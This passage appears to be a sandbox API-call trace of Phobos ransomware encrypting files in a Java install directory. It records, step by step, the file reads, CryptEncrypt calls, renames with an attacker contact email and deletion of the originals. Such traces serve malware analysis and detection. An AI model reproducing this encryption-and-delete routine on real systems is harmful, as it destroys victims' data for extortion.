| out: lpNewFilePointer=0x0) returned 1 [0050.738] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.739] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0050.739] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.739] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1e7d, lpOverlapped=0x0) returned 1 [0050.819] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1e80) returned 1 [0050.819] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1e80, lpOverlapped=0x0) returned 1 [0050.820] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0050.821] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.821] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0050.821] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0050.821] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0050.821] CryptDestroyKey (hKey=0x10cf70) returned 1 [0050.821] CloseHandle (hObject=0x2e4) returned 1 [0050.821] CloseHandle (hObject=0x320) returned 1 [0050.822] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0050.823] SetEvent (hEvent=0x2e8) returned 1 [0050.823] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.824] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=153) returned 1 [0050.824] CloseHandle (hObject=0x320) returned 1 [0050.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0050.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.824] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.824] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0050.825] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0050.825] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.825] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x99, lpOverlapped=0x0) returned 1 [0050.826] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa0, dwBufLen=0xa0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa0) returned 1 [0050.826] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa0, lpOverlapped=0x0) returned 1 [0050.827] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cbb0) returned 1 [0050.827] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.827] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0050.827] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0050.827] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0050.827] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0050.827] CloseHandle (hObject=0x320) returned 1 [0050.827] CloseHandle (hObject=0x2e4) returned 1 [0050.828] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0050.829] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.835] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=165) returned 1 [0050.835] CloseHandle (hObject=0x31c) returned 1 [0050.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0050.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.836] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.836] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0050.850] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0050.850] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.850] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xa5, lpOverlapped=0x0) returned 1 [0050.851] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xb0, dwBufLen=0xb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xb0) returned 1 [0050.851] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xb0, lpOverlapped=0x0) returned 1 [0050.852] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0050.852] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.852] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0050.852] CryptDestroyKey (hKey=0x10caf0) returned 1 [0050.852] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0050.852] CryptDestroyKey (hKey=0x10cab0) returned 1 [0050.852] CloseHandle (hObject=0x318) returned 1 [0050.852] CloseHandle (hObject=0x2e4) returned 1 [0050.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0050.999] SetEvent (hEvent=0x2e8) returned 1 [0050.999] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.001] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=168) returned 1 [0051.001] CloseHandle (hObject=0x2e4) returned 1 [0051.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0051.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.001] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.001] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.002] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0051.002] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.002] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xa8, lpOverlapped=0x0) returned 1 [0051.003] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xb0, dwBufLen=0xb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xb0) returned 1 [0051.003] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xb0, lpOverlapped=0x0) returned 1 [0051.004] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0051.004] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.004] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0051.004] CryptDestroyKey (hKey=0x10cf70) returned 1 [0051.004] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0051.004] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0051.004] CloseHandle (hObject=0x2e4) returned 1 [0051.005] CloseHandle (hObject=0x31c) returned 1 [0051.009] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0051.011] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0051.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.012] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=153) returned 1 [0051.012] CloseHandle (hObject=0x31c) returned 1 [0051.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0051.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.013] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.013] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.014] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0051.014] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.014] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x99, lpOverlapped=0x0) returned 1 [0051.015] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa0, dwBufLen=0xa0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa0) returned 1 [0051.015] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa0, lpOverlapped=0x0) returned 1 [0051.016] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0051.016] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.016] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x60, dwBufLen=0x60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x60) returned 1 [0051.016] CryptDestroyKey (hKey=0x10ce30) returned 1 [0051.016] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x112, lpOverlapped=0x0) returned 1 [0051.016] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0051.016] CloseHandle (hObject=0x31c) returned 1 [0051.016] CloseHandle (hObject=0x2e4) returned 1 [0051.027] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0051.031] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0051.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.032] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=105500) returned 1 [0051.032] CloseHandle (hObject=0x31c) returned 1 [0051.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0051.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.032] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.032] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.033] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0051.033] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.033] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x19c1c, lpOverlapped=0x0) returned 1 [0051.047] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x19c20, dwBufLen=0x19c20 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x19c20) returned 1 [0051.048] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x19c20, lpOverlapped=0x0) returned 1 [0051.050] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: 